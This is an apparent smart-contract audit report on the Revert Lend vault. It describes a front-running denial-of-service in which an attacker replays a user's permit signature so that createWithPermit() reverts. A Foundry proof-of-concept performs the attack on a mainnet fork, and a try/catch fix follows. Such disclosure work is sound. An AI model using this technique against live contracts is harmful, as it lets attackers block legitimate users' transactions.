Revert Lend - adeolu's results

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L410-L425

Vulnerability details

Bug Description

NOTE: This issue is different from the issue titled "Signature Theft Front Run Can Result In Collateral Takeover" seen in the HYDN audit which is already fixed by the addition of this check. Issues (like the one i describe here) with the permit implementation still persist.

the V3Vault.createWithPermit() function is meant to allow creation of a new collateralized position with a permit for token spending (transfer position with permit).

    function createWithPermit(
        uint256 tokenId,
        address owner,
        address recipient,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external override {
        if (msg.sender != owner) {
            revert Unauthorized();
        }

        nonfungiblePositionManager.permit(address(this), tokenId, deadline, v, r, s);
        nonfungiblePositionManager.safeTransferFrom(owner, address(this), tokenId, abi.encode(recipient));
    }

The issue with this implementation is that it does another action right after the permit call. Since nonfungiblePositionManager.permit() is callable by anyone, it is possibe to DOS the legit user calling createWithPermit() by calling nonfungiblePositionManager.permit() first, with the exact same params and user's signature. This will cause the user permit call to fail and essentially the whole tx to fail. So essentially the createWithPermit() is frontran with a call to nonfungiblePositionManager.permit(). The user's params can be read/derived from the mempool by the attacker.

Permit issues of these type has recently been well documented by Trust Security as seen in their blogpost titled Permission denied - The story of an EIP that sinned. The blogpost shows a wide range of confirmed reports of this or similar vulns.

This issue also occurs in executeWithPermit().v3Utils.sol. executeWithPermit() can be made to fail by front running the call with a permit() call.

Proof Of Concept

• create file in src/tests and paste the code below. run with forge test --mt testFrontRunPermit

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

// base contracts
import "../../src/V3Oracle.sol";
import "../../src/V3Vault.sol";
import "../../src/InterestRateModel.sol";

// transformers
import "../../src/transformers/LeverageTransformer.sol";
import "../../src/transformers/V3Utils.sol";
import "../../src/transformers/AutoRange.sol";
import "../../src/transformers/AutoCompound.sol";

import "../../src/utils/FlashloanLiquidator.sol";

import "../../src/interfaces/IErrors.sol";

contract V3VaultIntegrationTest is Test {
    uint256 constant Q32 = 2 ** 32;
    uint256 constant Q96 = 2 ** 96;

    uint256 constant YEAR_SECS = 31557600; // taking into account leap years

    address constant WHALE_ACCOUNT = 0xF977814e90dA44bFA03b6295A0616a897441aceC;

    IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);

    INonfungiblePositionManager constant NPM =
        INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
    address EX0x = 0xDef1C0ded9bec7F1a1670819833240f027b25EfF; // 0x exchange proxy
    address UNIVERSAL_ROUTER = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;
    address PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3;

    address constant CHAINLINK_USDC_USD =
        0x8fFfFfd4AfB6115b954Bd326cbe7B4BA576818f6;
    address constant CHAINLINK_DAI_USD =
        0xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9;
    address constant CHAINLINK_ETH_USD =
        0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419;

    address constant UNISWAP_DAI_USDC =
        0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168; // 0.01% pool
    address constant UNISWAP_ETH_USDC =
        0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640; // 0.05% pool
    address constant UNISWAP_DAI_USDC_005 =
        0x6c6Bc977E13Df9b0de53b251522280BB72383700; // 0.05% pool

    address constant TEST_NFT_ACCOUNT =
        0x3b8ccaa89FcD432f1334D35b10fF8547001Ce3e5;
    uint256 constant TEST_NFT = 126; // DAI/USDC 0.05% - in range (-276330/-276320)

    address constant TEST_NFT_ACCOUNT_2 =
        0x454CE089a879F7A0d0416eddC770a47A1F47Be99;
    uint256 constant TEST_NFT_2 = 1047; // DAI/USDC 0.05% - in range (-276330/-276320)

    uint256 constant TEST_NFT_UNI = 1; // WETH/UNI 0.3%

    uint256 mainnetFork;

    V3Vault vault;

    InterestRateModel interestRateModel;
    V3Oracle oracle;

    function setUp() external {
        mainnetFork = vm.createFork("https://rpc.ankr.com/eth", 18521658);
        vm.selectFork(mainnetFork);

        // 0% base rate - 5% multiplier - after 80% - 109% jump multiplier (like in compound v2 deployed)  (-> max rate 25.8% per year)
        interestRateModel = new InterestRateModel(
            0,
            (Q96 * 5) / 100,
            (Q96 * 109) / 100,
            (Q96 * 80) / 100
        );

        // use tolerant oracles (so timewarp for until 30 days works in tests - also allow divergence from price for mocked price results)
        oracle = new V3Oracle(NPM, address(USDC), address(0));
        oracle.setTokenConfig(
            address(USDC),
            AggregatorV3Interface(CHAINLINK_USDC_USD),
            3600 * 24 * 30,
            IUniswapV3Pool(address(0)),
            0,
            V3Oracle.Mode.TWAP,
            0
        );
        oracle.setTokenConfig(
            address(DAI),
            AggregatorV3Interface(CHAINLINK_DAI_USD),
            3600 * 24 * 30,
            IUniswapV3Pool(UNISWAP_DAI_USDC),
            60,
            V3Oracle.Mode.CHAINLINK_TWAP_VERIFY,
            50000
        );
        oracle.setTokenConfig(
            address(WETH),
            AggregatorV3Interface(CHAINLINK_ETH_USD),
            3600 * 24 * 30,
            IUniswapV3Pool(UNISWAP_ETH_USDC),
            60,
            V3Oracle.Mode.CHAINLINK_TWAP_VERIFY,
            50000
        );

        vault = new V3Vault(
            "Revert Lend USDC",
            "rlUSDC",
            address(USDC),
            NPM,
            interestRateModel,
            oracle,
            IPermit2(PERMIT2)
        );
        vault.setTokenConfig(
            address(USDC),
            uint32((Q32 * 9) / 10),
            type(uint32).max
        ); // 90% collateral factor / max 100% collateral value
        vault.setTokenConfig(
            address(DAI),
            uint32((Q32 * 9) / 10),
            type(uint32).max
        ); // 90% collateral factor / max 100% collateral value
        vault.setTokenConfig(
            address(WETH),
            uint32((Q32 * 9) / 10),
            type(uint32).max
        ); // 90% collateral factor / max 100% collateral value

        // limits 15 USDC each
        vault.setLimits(0, 15000000, 15000000, 12000000, 12000000);

        // without reserve for now
        vault.setReserveFactor(0);
    }

    function _setupBasicLoan(bool borrowMax) internal {
        // lend 10 USDC
        _deposit(10000000, WHALE_ACCOUNT);

        // add collateral
        vm.prank(TEST_NFT_ACCOUNT);
        NPM.approve(address(vault), TEST_NFT);
        vm.prank(TEST_NFT_ACCOUNT);
        vault.create(TEST_NFT, TEST_NFT_ACCOUNT);

        (, uint256 fullValue, uint256 collateralValue, , ) = vault.loanInfo(
            TEST_NFT
        );
        assertEq(collateralValue, 8847206);
        assertEq(fullValue, 9830229);

        if (borrowMax) {
            // borrow max
            vm.prank(TEST_NFT_ACCOUNT);
            vault.borrow(TEST_NFT, collateralValue);
        }
    }

    function _deposit(uint256 amount, address account) internal {
        vm.prank(account);
        USDC.approve(address(vault), amount);
        vm.prank(account);
        vault.deposit(amount, account);
    }



    function testFrontRunPermit() public {
        uint256 amount = 1000000;
        uint256 privateKey = 123;
        address user = vm.addr(privateKey);

        vm.prank(TEST_NFT_ACCOUNT);
        NPM.safeTransferFrom(TEST_NFT_ACCOUNT, user, TEST_NFT);

        // lend 10 USDC
        _deposit(10000000, WHALE_ACCOUNT);

        bytes32 PERMIT_TYPEHASH = keccak256(
            "Permit(address spender,uint256 tokenId,uint256 nonce,uint256 deadline)"
        );

        uint256 deadline = block.timestamp + 10;

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            privateKey,
            keccak256(
                abi.encodePacked(
                    "\x19\x01",
                    NPM.DOMAIN_SEPARATOR(),
                    keccak256(
                        abi.encode(
                            PERMIT_TYPEHASH,
                            address(vault),
                            TEST_NFT,
                            0,
                            deadline
                        )
                    )
                )
            )
        );

        //front run permit to make legitmate user permit call in vault.createWithPermit() fail
        NPM.permit(address(vault), TEST_NFT, deadline, v, r, s);

        //legit user calls 
        vm.prank(user);
        vm.expectRevert();
        vault.createWithPermit(TEST_NFT, user, user, deadline, v, r, s);
    }
}

Impact

Makes user's signature to become invalid and cause the user's call to vault.createWithPermit() to revert.

Recommended Mitigation Steps

modify code in createWithPermit(), if permit() call fails, it means that there is already a permit approval. so that error can be caught and the token can then be transferred ie

      function createWithPermit(
        uint256 tokenId,
        address owner,
        address recipient,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external override {
        if (msg.sender != owner) {
            revert Unauthorized();
        }

        try
            nonfungiblePositionManager.permit(
                address(this),
                tokenId,
                deadline,
                v,
                r,
                s
            )
        {} catch {
            // IF PERMIT FAILS, MAYBE THERE IS AN APPROVAL BUT CHECK TO CONFIRM 
            if (
                nonfungiblePositionManager.getApproved(tokenId) != address(this)
            ) {
                revert("VAULT NOT APPROVED TO TAKE UNIV3 POSITION");
            }
        }
        nonfungiblePositionManager.safeTransferFrom(
            owner,
            address(this),
            tokenId,
            abi.encode(recipient)
        );
    }

This same type of implementation can be done for executeWithPermit().v3Utils.sol too.

Assessed type

Context